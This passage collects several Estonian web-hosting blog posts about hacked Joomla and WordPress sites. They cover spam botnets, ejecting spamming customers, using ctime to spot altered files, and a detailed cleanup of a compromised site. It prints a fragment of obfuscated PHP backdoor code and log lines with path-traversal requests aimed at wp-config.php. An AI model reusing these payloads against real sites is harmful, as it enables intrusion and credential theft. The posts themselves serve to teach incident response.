Joomla 1.5 veebid botnetis

Ründed veebide vastu käivad lainetena – võetakse ette ühe sisuhaldustarkvara üks turva-auk ja käiakse sellel põhineva ründega teadaolevate domeenide nimekiri üle. Haavatavad veebid saavad endale hetkega hulga tagauksi ja lähevad kasutusse spämmi saatmisel, pahavara levitamisel või mõnel muul moel.

Täna hakkab logidest silma Joomla 1.5 versioonil põhinev spämmi-botnet – mis on eriti õnnetu juhtum, sest tegemist on väga vana ja juba ammu enam uuendusi mitte saava versiooniga (viimane ametlik parandus on 1.5.26, lisaks on olemas hotfix-parandusi kuni 1.5.29-ni) ning selle pealt uuemale versioonile üleminek on tõsine migratsioon. Ka rünnak tundub olema iidne – samu mustreid on kirjeldatud juba 2014. veebruaris.

Kui sait on pandud spämmi saatma, ei jää meil muud üle kui kasutaja veebiserverist väljuv e-postiliiklus blokeerida (see ei puuduta kasutaja enda e-posti, küll aga nt veebipoest saadetavaid arveid või paroolivahetusi) – ja paluda kliendil suhelda oma veebimeistriga veebi pahalastest puhastamise teemal. Sageli tuleb seepeale küsimus “Kuidas te teate, et on nakatunud – ja kuidas veebi puhtaks saaks?”

Samal teemal lugemist Zone blogist:

Tüüpiline ülevõetud veebi logi näeb välja selline:

POST /templates/beez/javascript/stats86.php
POST /administrator/components/com_menus/views/utf81.php
POST /libraries/joomla/html/parameter/list92.php
POST /libraries/cms/form/db42.php
POST /includes/PEAR/press58.php

Ehk erinevatesse kohtadesse Joomla, selle lisade või kujundusteema koodis on paigutatud suvalise nimega faile, mis sisaldavad spämmisaatjat. Sedapuhku näeb see välja umbes selline:

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['wc576'] = "\x28\x72\x48\x45\x2e\xa\x4e\x40\x20\x75\x67\x33\x3a\x52\x7c\x50\x7e\x39\x62\x3e\x31\x49\x2c\x41\x55\x46\x6f\x4a\x78\x21\x71\x32\x6a\x6d\x51\x

65\x2f\x24\x27\x4d\x54\x5d\x60\x5c\x58\x2a\x5e\x66\x37\x23\x38\x42\x22\x29\x5b\x4f\x77\x2d\x56\x3f\x25\x47\x44\x64\x76\x6e\xd\x79\x7a\x69\x4b\x3b\x36\x3c\x68\x59\x3d\x43\x63\x30\x7b\x53\x35\

x34\x9\x5f\x5a\x2b\x7d\x26\x4c\x6c\x70\x6b\x57\x61\x74\x73";

$GLOBALS[$GLOBALS['wc576'][9].$GLOBALS['wc576'][82].$GLOBALS['wc576'][35].$GLOBALS['wc576'][50].$GLOBALS['wc576'][11]] = $GLOBALS['wc576'][78].$GLOBALS['wc576'][74].$GLOBALS['wc576'][1];

Õnneks tuvastavad seda mustrit mitmed viirusetõrjevahendid, sealhulgas Nimbusec mille saab tellida Zone+ all – umbes 15 minutiga peaks esimene skaneering tehtud olema ning käes nimekiri pahadest failidest:

compromised-files

Jah, see teenus maksab – 1,99€+km kuus. Aga meie testide kohaselt on see parim ja soodsaim lahendus, mida pakkuda saame.

Käies need ükshaaval üle on võimalik veenduda, et tegemist on tõepoolest pahavaraga – ning juhul, kui selles failis midagi muud ei sisaldu, võib selle lihtsalt ära kustutada. Paraku leiab tihti ka sellist pahavara, mis lisatakse mõne veebirakenduse jaoks olulise faili algusesse või keskele, ning sellisel puhul on vaja eemaldada vaid probleemne osa – või asendada kogu fail puhtaga.

Nii saab veebi enam-vähem korda, aga kui rünnet võimaldanud turva-auk lappimata jääb või on pahalased sokutanud kuhugi tagaukse, mis ka Nimbusecile märkamata jääb, kordub kõik paari päeva pärast uuesti.

Siis aitab ainult suurpuhastus:

  • sisuhaldustarkvara kood tuleb täielikult asendada värskeima versiooniga (Joomla puhul tähendab see migratsiooni)
  • samuti tuleb asendada kõik lisamoodulid – veendudes, et nende viimased versioonid ei sisalda teadaolevaid turvaprobleeme
  • kohandatud kujundusteema failid tuleb käsitsi üle kontrollida, veendumaks nende puhtuses

ps. Joomla-spetsid on teretulnud täiendama/parandama – eriti mis puudutab versioone, vajalikke paikasid, migratsiooni metoodikat jne. Võib kirjutada otse peeter@zone.ee.

Mis juhtub nende klientidega, kes spämmi saadavad?

Virtuaalserver tundub olema üks lihtsalt võrreldav teenus – igal pakkujal on tabelis hind ja mingid gigabaidid, paned need ritta ja tulemus käes.

Tegelikult kuulub aga teenusesse hulk asju, mida tabelis atraktiivselt lahti ei seleta. Näiteks see, kuidas me hoiame oma servereid puhtana nii spämmeritest kui muust probleeme tekitavast – vajadusel loobudes mõnest kliendist, et teistele paremat teenust pakkuda.

Tänane hommik algas näiteks sellise kirjaga:

spamhaus-epost

Ehk siis üks meie serveritest sattus musta nimekirja, kuna viidatud domeeni/veebi/virtuaalserveri omaniku nimel saadeti spämmi. Ja nimekirjast välja pääsemiseks tuleb meil täpselt selgitada, kuidas probleem lahendatud sai. Senikaua võib olla probleeme kõigist selles serveris majutatud veebidest saadetava postiga – see satub spämmikausta. Mida kiiremini ja resoluutsemalt me sellistele kirjadele reageerime, seda kiiremini saame listist välja.

Sageli on tegemist lihtsalt teadmatusega – kui kuulatakse siis harime, kui küsitaks aitame veebi pahavarast puhastada ja turvata. Ja kui keegi spämmi-agentuuri reklaami õnge on läinud – laseme esimesel korral digiallkirjastada no-spam deklaratsiooni selle kohta, et ta on kehtiva regulatsiooni ja hea tavaga tutvunud, oma eksimusest aru saanud ja lubab edaspidi viks ja viisakas olla:

Kinnitus
e-posti saatmise reeglitega nõustumise kohta

Käesolevaga kinnitan, et olen teadlik ja järgin e-posti saatmisel Euroopa Liidu direktiive, Eesti Vabariigi seadusi ja Andmekaitse inspektsiooni juhist “Elektrooniliste kontaktandmete kasutamine otseturustuses” (vt Lisa 1), Zone Media OÜ Serveriteenuste üldtingimustes sätestatut ning internetikasutuse head tava.

Mõistan, et ükski ostetud, renditud, veebide skaneerimise kaudu kogutud või mistahes muul viisil peale kasutaja selgesõnalise nõustumise saadud list ei ole lubatud.

[ Täistekst, lisa seaduse-viidetega ja allalaetavad versioonid leiab lehelt No-spam deklaratsioon ]

Vahel aga allkiri ei aita – sellise kliendi tunneb ära sellest, et tema ise või tema poolt kasutatav spämmi-firma hakkab käima välja põhjuseid, miks nende saadetav ei ole spämm:

  • “aga see ei ole ju saadetud teie serverist, ärge muretsege”
  • “me saatsime mobiiltelefoni IP pealt, ärge muretsege”
  • “nende kirjade saatja aadressiks on hoopis üks gmaili konto, ärge muretsege”
  • “me võtsime nüüd kirjast veebiserveri aadressi maha, ärge muretsege”

Kuna meil puudub absoluutselt igasugune soov muretseda – ja me tahame, et oma e-posti kohalejõudmise pärast ei peaks muretsema ka meie head kliendid – siis saab sellise leelo peale olla vaid üks lühike vastus:

Sulgeme Teie virtuaalserveri korduva spämmi saatmise tõttu. Hetkel takistate Te meil teenuse pakkumist teistele klientidele ja rikute sellega lepingut.

Näeksime meeleldi, kui leiaksite ka oma domeenide jaoks lähemal ajal mõne teise registripidaja.

Sõltumata kasutatud trikkidest leiavad Spamhaus jt suurema vaevata üles selle, kelle nimel spämmi saadetakse, ja panevad süümepiinadeta blacklisti vastav serveri IP – kui aga teenusepakkuja oma majas korda ei suuda luua, siis vajadusel ka suurema hulga IP-aadresse.

Kas see piirab kellegi sõna- või ettevõtlusvabadust? Me kontrollime saabunud raportite paikapidavust ja kui vaja, siis seisame õiguse ja vabaduse eest. Kui aga tegemist on tõesti spämmeriga – siis on tal võimalik kasutada põhiõigust leida küberruumi hämaratest nurkadest teenusepakkuja, kes ei pea enam muretsema, sest ta juba on blacklistis (ja küllap teda teatakse nimeliselt). Korduva rikkumise korral tuleb uuele teenusepakkujale abuse-teavitus ka ilma uut spämmikampaaniat alustamata – “teie juurde saabus see-ja-see, siin on nimekiri põhjustest miks ta kolis”.

Tänase blogipostituse, põhiõiguste kaitse ja puhtama tunde toob teieni ex-klient serverist SN23, kes allkirjastas deklaratsiooni ja jätkas tuntud spämmi-teenuse kasutamist – mõistagi palume vabandust kõigilt neilt, kes temaga sama virtuaalset ruumi jagama sattusid.

spamhaus-report

ps. See pildil olev udutamine on lihtsalt selleks, et vältida keskendumist ühele ettevõttele – teades meie serverite IPsid võib igaüks SBList järgi uurida, kes parasjagu pahanduse majja tõi. Jätaks meelde parem selle No-spam deklaratsiooni ja aitaks sõpradele/äripartneritel inetut jama vältida.

CSI küber – kas keegi on mu serveris faile muutnud?

Iga endast vähegi lugu pidav küber-kurikael muudab kohe peale tagaukse üles laadimist ära faili kuupäeva – ikka nii, et see sarnaneks ümbritsevate failide omaga. See lihtsalt muudetav ja vaikimisi kataloogi-sisu juures kuvatav aeg on Linuxis mtime.

Aga failisüsteemi läheb kirja veel ka tegeliku viimase muudatuse aeg ctime mille kirjutab sinna operatsioonisüsteemi kernel ehk kõige kunnim kood, selle aja muutmiseks tuleks kompileerida uus kernel või muuta serveris kella (ja sellisel puhul on failide kuupäeva probleem kõige väiksem mure).

Kui logida SSH abil serverisse ja lisada käsule ls veidi parameetreid, siis kuvab ta mtime asemel ctime aega:

petskratt$ ls -al wp-load.php 
-rw-r--r--@ 1 petskratt  staff  3316 Nov  5  2015 wp-load.php

petskratt$ ls -altc wp-load.php 
-rw-r--r--@ 1 petskratt  staff  3316 Apr  5 06:59 wp-load.php

Olgu lisatud, et ctime muutub mitte ainult faili, vaid ka näiteks õiguste muutumisel – ning iseenesest ei ole ctime ja mtime erinevus ega sarnasus põhjus muretsemiseks.

Kuidas aga leida kogu kataloogipuust üles potentsiaalselt probleemsed failid? Katsetasin nii- ja naapidi ning tundub, et muutmise kellaaja järgi grupeerides näeb päris kenasti ära faili-komplektid, mida koos on muudetud. Suuremad jupid on ilmselt tarkvara uuendus (siis muutub sageli ka readme-fail), väiksemad käsitöö:

what-has-changed

Päris raportit saad vaadata siit: http://pinkmark.miljonivaade.eu/ctimer_287x398o2z3.php, suuremad muutmised saab huvi korral lahti klõpsata. Hmm, kuulge, miks see footer.php seal muutub?

OLULINE MÄRKUS: Suvalisele külastajale kataloogipuu sisu kuvamine ära-arvatava nimega skripti poolt on väga halb mõte – sellepärast tuleks skriptile kindlasti mingi suffiks lisada nagu näites… aga olete teretulnud pakkuma ka paremat & kasutajasõbralikku ligipääsu piiramist (lihtsalt parool faili kirja?).

Proovi ise, soovita parandusi. Esimesele kes selle abil (varem puhtaks peetud veebist) pahalase leiab – saab osaks võimalus mulle pizza välja teha 🙂

Skripti leiab siit: https://gist.github.com/petskratt/e692fee8c0db469d442a658d94e7070f

7 asja mida TEGELIKULT teha tuleks, et hoiduda pahavarast (ja kurikuulus säuts)

Reede-hommik algas “pahavara-ründega”, mis juhtumisi tabas ka mind üsna isiklikult järgmise süüdistuse näol:

Tõepoolest – kui veebilehele on paigaldatud pahavara mis saadab spämmi, siis me kõigepealt blokeerime sellel e-posti saatmise ja palume omanikul oma veeb ära paigata.

Kui probleemi ei kõrvaldata, taipavad sissetungijad varsti, et seda veebilehte enam spämmiks  kasutada ei saa ning talle antakse mõni muu karmim ülesanne – DDoS ründed, pahavara levitamine vms.

Kõik need tegevused on seadusega keelatud, õnneks vabastab Infoühiskonna teenuse seaduse §10 meid kui teenusepakkujat vastutusest, seda siiski ühe väikese lisatingimusega:

§ 10.  Vastutuse piirang andmete talletamise teenuse osutamise korral
(1) Kui osutatakse teenust, mis seisneb teenuse kasutaja pakutava teabe talletamises, ei vastuta teenuse osutaja teenuse kasutaja taotluse põhjal talletatava teabe sisu eest järgmistel tingimustel:
1) teenuse osutaja ei tea teabe sisu ega ole kahju hüvitamise nõude puhul teadlik faktidest või asjaoludest, millest ilmneb ebaseaduslik tegevus või teave;
2) käesoleva lõike punktis 1 nimetatud asjaoludest teadlikuks saades kõrvaldab teenuse osutaja kohe vastava teabe või tõkestab sellele juurdepääsu

Meie ärimudel on pakkuda parimat ja turvalisimat veebimajutuse teenust, selle hulka kuulub hulk tavakasutajale nähtamatut tööd nagu serveriplatvormi pidev turvapaikamine ja monitooring, millega tegeleme 24/7.

Monitooringuga kaasneb paraku see, et me saame seaduses mainitet “nimetatud asjaoludest” teadlikuks. Lisaks, isegi kui meie ise ei märka, siis enamikul juhtudel tuleb peagi kuri kiri Riigi Infosüsteemi Ameti infoturbeintsidentide käsitlemise meeskonnalt CERT-EE (https://www.ria.ee/ee/cert.html), sest veebilehel tegutsevate kurikaelte pahateod on eskaleerunud veebikülastajate nakatamise või andmete õngitsemiseni.

Eelnev viib selleni, et oleme sunnitud ligipääsu veebilehele piirama, nagu viitab ka CERT-EE vastus Karile:

Säutsus viidatud Zone “ärimudel” seisnes selles, et soovitasime oma teavituskirjas (milles soovitame oma veebimeistriga suhelda) oma kasutajatele ka partneri Nimbusec monitooringuteenust ehk “veebilehe suitsuandurit”. (Selle käibemaksuta baashind algab muide 1.99€ juures ja kasumlikkust Zonele iseloomustab kolleeg Ardi  sõnadega “rõõm riigile käibemaksu tasumisest”).

Jah, kui sul on probleem, siis tuleb seda tunnistada ning vajadusel abi küsida – või siis abi pakkuda, kui märkad kellegi teise probleemi.

Vaatamata teravale algusele pühendasin (küberaktivistina) inimõiguste kaitsele poole oma nädalavahetusest ja nende veebide puhastamise lugu kubiseb õppetundidest, mida peaksid arvestama nii tulundus- kui mittetulundusühingud – ja kõik, kes veebe teevad või hooldavad.

Ääremärkus – Palun ärge rohkem proovige mind sellise nipiga oma veebe puhastama panna. Aga kui abi vaja, siis võib alati info@zone.ee tellida kas probleemse veebi puhastamist või küsida tehnilist nõuannet.

Kui veebiarendajal või -agentuuril on soov oma inimesi (või kliente) harida turvalisuse või veebide puhastamise osas, siis võib küsida ka otse minult peeter@zone.ee – tulen, räägime olemasolevast, leiame uusi nippe, kontrollime tulemust.

Lühikokkuvõte toimunust

… on täpselt sama, mis 98% veebi turva-probleemide puhul (sh nende puhul, kus mina ise olen probleemi põhjustanud):

  • aastaid tagasi tehtud veebi sisuhaldustarkvara ja selle lisasid ei ole pidevalt uuendatud (turva-augu ärakasutamine algab sageli juba avastamise päeval);
  • osa kasutatud teemadest / pluginatest on tasulised ja ilma paigaldamata litsentsita või pärit allikatest, mis isegi ei võimalda lihtsat uuendamist;
  • lisasid on suurel hulgal – iga huvipakkuva funktsionaalsuse realiseerimiseks on lisatud mingi plugin, sageli üsna keerulise koodiga;
  • osa paigaldatud teemadest / pluginatest ei ole isegi kasutusel;
  • puudub hooldusleping veebimeistriga, kes võtaks enda peale vastutuse veebi turvalisuse tagamisel;
  • veebiarendus ja hooldus toimuvad otse serveris, sissetungi korral ei ole olemas puutumatut versiooni, mis võimaldaks serveris oleva kompromiteeritud koodi kustutamist ja uuendatuga asendamist
  • turvaintsidendi lahendamisel eeldatakse ekslikult, et veebi teeb korda mingi lisa-plugin või maagiline teenus

Lühikokkuvõte lihtsatest soovitustest

… on aga selline:

  • kui paigaldad ise veebitarkvara, siis taga uuendamine – meie Zone+ abil paigaldatud rakenduste puhul uuendatakse ka aktiivsed pluginad, kui oled lubanud automaatse uuendamise;
  • kui tellid veebi agentuurist/arendajalt, siis sõlmi ka vastutusega hooldusleping, mis tagaks vajalikud uuendused ja turvaintsidentide lahendamise; kui tellid veebi (riigi)hankega või projektirahadest, siis peaks ka hooldus sisalduma sõlmitavas lepingus;
  • kui otsustad ise lisada teema või pluginaid, siis kasuta tuntud autori tehtut mille puhul on näha perioodilisi uuendusi, WordPressi puhul kasuta wordpress.org pakutavaid, mitte mõnest veebist laetut;
  • harrasta kasinust – mida vähem lisasid ja lihtsam veeb, seda kiiremini see töötab ja seda kergem on turvalisusts tagada;
  • kustuta ära kõik tarbetu – vanad versioonid, kasutuseta teemad/pluginad, lahkunud töötajate kontod jne;
  • ükski turvalahendus ei tuvasta kõiki tagauksi – ainus variant on vahetada paigatud koodi vastu välja kõik kompromiteeritud serveris olnu ning puhastada üleslaetava meedia kataloog; selleks on oluline, et arendajal oleks oma arvutis olemas kindlalt puutumatu kood – mistahes veebiserveris “väike vigade parandamine” on välistatud
  • paroolid turvaliseks ja https – veebirakenduse parool olgu pikk ja unikaalne, et ei saaks proovimisega leida või mõnda lekkinud paroolibaasi kasutada; https-ühendus tagab, et parool ja küpsised ei ole pealtkuulatavad

Aga nüüd tehnilisemalt – ja algusest peale, nagu Agu Sihvka. Kui jutt liiga keeruline tundub, siis saada link oma veebimeistrile. Või pane keerulise koha peal silm kinni ja loe natuke altpoolt edasi.

Millal kõik algas?

Ammu. Täpset algust ja esimese ründe kohta on takkajärgi raske tuvastada – tõenäoliselt on seejärel tarkvara uuendatud, pahavara korduvalt eemaldatud ja uuesti paigaldatud. Võimalik, et kellegi poolt paigaldatud tagaukse on avastanud ja üle võtnud konkureeriv kollektiiv.

On ka võimalik, et veeb on üle võetud kasutades varasemat veebiversiooni – kevadest meenub juhtum, kus üks veeb võeti üle kahe nädala jooksul alates alamkataloogi “/uus” paigutamisest ehk enne, kui see üldse avalikuks kuulutati. Takkajärgi raske öelda, kas põhjuseks oli nõrga parooli kasutamine, uuendamata plugin uues või turvaauk vanas.

Ajalugu saab aga uurida logifaili abil, kui ei ole nende kättesaadavust virtuaalserveri haldusest sisse lülitanud võid alati küsida vajaliku perioodi kohta väljavõtte. Logid on üsna suured, nt humanrights.ee poole aasta omad lahtipakituna 979 megabaiti ning nendest olulise väljasõõlamine nõuab kogemust – Wordis neid faile ei ava. Enamasti kasutatakse käsurealt grep’i ja teades mõne kahtlase faili nime võib vaadata, millal selle poole on esimest korda pöördutud.

grep "POST /wp-content/plugins/Login-wall-" minulogifailinimi

Olgu siinkohal üks näitlik logikirje:

139.xxx.xx.xxx - - [10/Nov/2015:06:30:27 +0200] "POST /wp-content/plugins/Login-wall-etgFB/login_wall.php?login=cmd&z3=hwbXlucGazGU&z4=wLWNvbnbnQv2lucy8cGx1L3dRlZ%3d HTTP/1.1" 200 234 "[pole-oluline].ee" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Andris seletas äsja spämmi-saatmise näitel lahti, mida selline päring teha võib ja kuidas veebide ülevõtmine käib. Antud puhul märkasime, et keegi on WordPressile lisanud Login Wall võlts-plugina, täpsemalt kirjutab sellest Sucuri LoginWall Imposter Exposed. Kui ma suudan su veebi adminnina sisse logida, siis saan ma ka oma plugina paigaldada. Lisapunktid selle eest, et tegemist on näiliselt turva-pluginaga mis toimib pahavarana.

Juuni alguses on näha Hiina IP-sid, nende päringud näevad välja veidike teistmoodi ja mingit dua_test kataloogi serveris pole, sest .htaccess rea RewriteRule ^(.*)_(.*)/(.*).lskop$ index.php?site=$1&id=$3&temp=$2 [L] abil suunatakse päringud kuhu-vaja:

123.xx.xx.x - - [06/Jun/2016:10:57:02 +0300] "GET /dua_test/10001.lskop HTTP/1.1" 200 7244 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"

Samal ajal madistavad veebi teises osas tegelased, kes kasutavad vaheldumisi Keenia, India ja Venemaa IPsid:

112.xxx.xx.xx - - [31/Jul/2016:06:10:03 +0300] "GET /wp-content/plugins/sitepress-multilingual-cms/menu/admin-language-switcher.php HTTP/1.0" 200 189 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"

Kuna logid sisaldavad ka päris-veebiliiklust, otsimootorite roboteid ja turva-aukude otsimise päringuid, nõuab reaalsete ründajate leidmine parasjagu kogemust – alustada võiks näiteks POST-päringutest, seejärel võiks maha arvata oma IP ja kõik need arvukad katsed parooli ära arvata… Tasapisi müra eemaldades hakkavad sõelale jääma need, kes tegelikult serveri kallal möllavad.

POST päringuid, mis tavapäraselt on kasutusel sisselogimisel, veebisisu toimetamisel ja vormide saatmisel, on poole aasta jooksul logisse kogunenud 221 megabaiti, see on 22,5% kogu logist. Enamus sellest on sissetungikatsed või suhtlus paigaldatud pahavaraga.

Puhtalt aukude otsimine näeb aga logis välja selline – süstemaatiliselt proovitakse läbi kõikide teadaolevate turva-aukude asukohti, näiteks suvalisele failile ligipääsu lubavaid:

GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php
GET /wp-content/plugins/db-backup/download.php?file=../../../wp-config.php
GET /wp-content/plugins/plugin-newsletter/preview.php?data=../../../../wp-config.php
GET /wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=../../../../wp-config.php
GET /wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php

Mis meelde jätta: õpi logisid uurima, lülita sisse logide kättesaadavus või telli kasutajatoelt vajaliku perioodi logid.

Kustutame siis selle plugina või pahalase failid ära

Kõlab loogiliselt, eriti kui tunned parajasti suurt rõõmu esimese avastatud tagaukse üle. Paraku on häkker ilmselt paigaldanud hulga täiendavaid taga-uksi, mis lubavad funktsionaalse koodi kustutamisel uuesti üles laadida.

Kusagil monitooringus läheb punane tuli põlema ja “uus peremees” saadab hiljemalt järgmise vahetuse tehnikud riket kõrvaldama. Puhastatud veebi logidest on huvitav näha, kuidas tuleb päring ühe tagaukse pihta ja siis veel paar-kolm (javascripti jt veebikomponentide laadimine viitab sellele, et prooviti tavapärase veebibrauseriga minna PHP-shelli kasutama, aga saadi 404-veateatega leht):

94.xxx.xxx.xxx [18/May/2016:01:53:26 +0300] "GET /wp-content/plugins/w3-total-cache/configs/settings.php HTTP/1.1" 404
94.xxx.xxx.xxx [18/May/2016:01:53:27 +0300] "GET /wp-includes/js/wp-emoji-release.min.js?ver=1.0.5 HTTP/1.1" 200
...
94.xxx.xxx.xxx [18/May/2016:01:53:55 +0300] "GET /wp-content/plugins/akismet/config.phtml HTTP/1.1" 404 10535 
94.xxx.xxx.xxx [18/May/2016:01:54:09 +0300] "GET /wp-content/themes/thematic/local.php HTTP/1.1" 404 10535

Seejärel sekkub kõrgema taseme spetsialist (või robot), käies üle täieliku nimekirja:

198.xx.xxx.xx [18/May/2016:01:54:14 +0300] "GET /wp-content/plugins/wpml-translation-management/menu/updater.phtml HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:15 +0300] "GET /wp-content/plugins/w3-total-cache/lib/Microsoft/WindowsAzure/Storage/include.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:15 +0300] "GET /wp-content/plugins/w3-total-cache/lib/W3/Plugin/base.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:17 +0300] "GET /wp-content/plugins/akismet/config.phtml HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:17 +0300] "GET /wp-content/plugins/w3-total-cache/configs/settings.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:19 +0300] "GET /wp-admin/user/db.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:20 +0300] "GET /wp-content/plugins/wordpress-seo/inc/options/lib.phtml HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:20 +0300] "GET /wp-content/themes/thematic/local.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:21 +0300] "GET /wp-content/plugins/wpml-string-translation/inc/gettext/cache.phtml HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:22 +0300] "GET /wp-content/plugins/w3-total-cache/lib/Microsoft/WindowsAzure/Diagnostics/local.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:23 +0300] "GET /wp-includes/images/icon-pointer-flag.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:24 +0300] "GET /wp-content/plugins/gravityformsmailchimp/api/Mailchimp/db.phtml HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:24 +0300] "GET /wp-content/plugins/wordpress-seo/vendor/yoast/api-libs/google/service/config.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:25 +0300] "GET /wp-content/plugins/sitepress-multilingual-cms/menu/term-taxonomy-menus/limits.php HTTP/1.1" 404 
198.xx.xxx.xx [18/May/2016:01:54:26 +0300] "GET /wp-content/plugins/sitepress-multilingual-cms/menu/users.php HTTP/1.1" 404

Kui oled kõik need augud kinni toppinud, tõmmatakse sait nimekirjast maha ja jätkatakse raha teenimist mujal. Enamasti aga on midagi ikka märkamata jäänud, mispeale teine pool ennast lihtsalt sügavamalt sisse kaevab.

Mis meelde jätta: kui tahad veebi puhtaks rookida, pead üles leidma absoluutselt kõik pahalased.

On ju Nimbusec, öelge mis failid ma pean ära kustutama

Kurinahkade poolt paigaldatu jaguneb laias laastus failihalduriteks millega saab serveris teha-mida-vaja, funktsionaalseks koodiks mis saadab spämmi/levitab pahavara/reklaamib imerohtusid, ja pisikesteks tagausteks mille kaudu saab tagasi sisse pugeda.

Esimesed kaks kategooriat on reeglina tuvastatavad – meie testide kohaselt on Nimbusec umbes sama hea kui Sucuri ning need mõlemad tuvastavad sama hästi, kui VirusTotal’is olevad enamvähem kõiki maailma antiviiruseid kokku (ühe Eesti meedias pidevalt veebide puhastamise teemal sõna võtva startupi tulemus on oluliselt nõrgem ning nende väidetaval “htaccess-tulemüüril” ei leidnud mina WordPressi kaitsmisega küll muud seost peale turundusteksti).

Tagaustega on keerulisem – need on sageli konkreetse ründaja poolkäsitöö, lisatud hulgale veebirakenduse osaks olevatele failidele ja maskeeritud. Väär-positiivsete tulemuste ehk täiesti tavapärase koodi peale hädakella löömise vältimiseks peab tundlikkus olema piisavalt madal, tasakaalu leidmine on keeruline ja nõuab pidevat sisendit. Kõik mis meie käsitsi leiame, laeme üles Nimbusec’i meeskonna shellray.com lahendusse (ja pärast togime neid, kui tuvastamine piisava kiirusega tööle ei hakka – aga olgu öeldud, et meie koostöö on igati viljakas).

Nimbusec – samuti mistahes teine pahavara-otsija või anti-viirus – on seega tõesti suitsuandur. Hakkab piiksuma, aga kuna tulekollete täpne iseloom, asukohad ja kustutamise strateegia on igal objektil erinev, siis võluvitsaga tegu ei ole.

Mis meelde jätta: suitsuandur, antiviirus ja turvalahendused näitavad, et sul on probleem. Puhastamiseks ei piisa ainult ettenäidatud vigade eemaldamisest – tuleb kogu veeb üksipulgi läbi käia.

Aga on ju turvapluginad, miks sa neid ei kasuta?

Pluginad-schmuginad… Sucuri‘st on kindlasti kasu, kui tellida neilt oma veebile website firewall teenus (maksab rohkem kui virtuaalserver) – ja suunata kogu oma veebiliiklus käima üle nende. Aga kui sa proovid nende veebist aru saada, mida täpselt teeb üks või teine toode, siis avastad ennast peagi turundustekstide keskel ringiratast käimas. Mis maksab veebi puhastamine? Kuidas erinevad firewall ja antivirus?

Sucuri Scanner WP plugin on mõnevõrra abiks, mh see osa mille rolliks on website hardening – aga ei tuvasta kindlasti kõiki auke ja võidki neid lappima jääda. Tulemuse saavutamiseks tuleks ikkagi teenus osta.

Wordfence on kah päris tubli, loetleb üles kõik riigid, kust rünnata proovitakse ja näitab värvilisi lipukesi. Leiab üles WordPressi kataloogides ja wordpress.org pealt laetud pluginates olevad pahalased. Võimalik, et oleks abiks, kui veebi veel ei ole üle võetud. Aga ei leia üles kõike seda, mida ma ülalpool esile toon. Jah, see oli ka humanrights.ee peal kasutusel, abi oli aga täpselt niipalju, et Kari oli käega löömas – seda asja ei saagi enam puhtaks, peame uue tegema.

Mis meelde jätta: suitsuandur, antiviirus ja turvalahendused näitavad, et sul on probleem. Puhastamiseks ei piisa ainult ettenäidatud vigade eemaldamisest – tuleb kogu veeb üksipulgi läbi käia.

No teeme siis need uuendused nüüd ära

Uuendades näiteks WordPressi asendatakse küll olemasolevad failid uute ja puhastega, aga nende kõrvale sokutatud kraam jääb alles. Rakenduse kood on küll lapitud, aga keda see morjendab kui sait on juba üle võetud.

Veidi parem lugu on pluginatega – uuendamisel toimub sisuliselt kustutamine+paigaldamine, aga see kehtib mõistagi vaid nende pluginate kohta, mille jaoks on uuendus olemas.

Kui tegemist on iidse pluginaga mida keegi enam uuendada ei plaani, oled selle alla laadinud mujalt kui wordpress.org plugina-kataloogist või on tegemist näiteks tasulise mitmekeelsus-plugina WPMLiga, millele veebitegijad tihti jätavad litsentsi paigaldamata… siis ei toimu mõistagi ka mingit uuendamist. Üks juhtimiskeskus elas aga nimelt WPMLis (ajalooline katalooginimi on sitepress-…):

changed-files

Nagu näha, oli hulk tagauksi ka teemades – nii uuendamata TwentyTen all kui ammu _s poolt välja vahetatud Tootlbox’is. Ja Simple Fields plugina autor teatab oma lehel, et selle projektiga on nüüd bye-bye…

Kuidas ma need augud siis leidsin? Tuima käsitööga – laadisin alla kogu veebi ning panin selle GIT versioonihaldusesse mis jälgib failide muutumist ja kuvab kenasti erinevusi. Seejärel hakkasin süstemaatiliselt kustutama ja asendama katalooge – kõigepealt WordPress ise, siis täpselt samad versioonid teemadest. Teemade allalaadimise-linkides sisaldub versiooninumber (nt https://downloads.wordpress.org/theme/twentyten.2.1.zip) ning seda muutes saab kätte täpselt sama, mis hetkel veebilehel.

Pluginatega on natuke lihtsam – Force Plugin Updates plugin lubab sundida peale kõikide pluginate uuendamise… aga mõistagi ei aita see vanemate WPMLide ja mujalt kui wordpress.org pealt allalaetud pluginate puhul. Kui neid vaja on – või peaks olema suur huvi lihtsalt kontrollida – tuleb need ükshaaval kokku korjata ja asendada. Minul on endise veebiarendajana lisaks WPML konto olemas, seal pääseb ligi mistahes versioonidele.

Vahemärkus: sellisteks katsetusteks tuleks pruukida virtuaalmasinas olevat veebiserverit või mõnel muul moel hoolitseda, et potentsiaalne pahavara uues ja huvitavas kohas rändama ei läheks.

Koodi võrreldes hakkas aga silma veel üks rida:

fixing-core

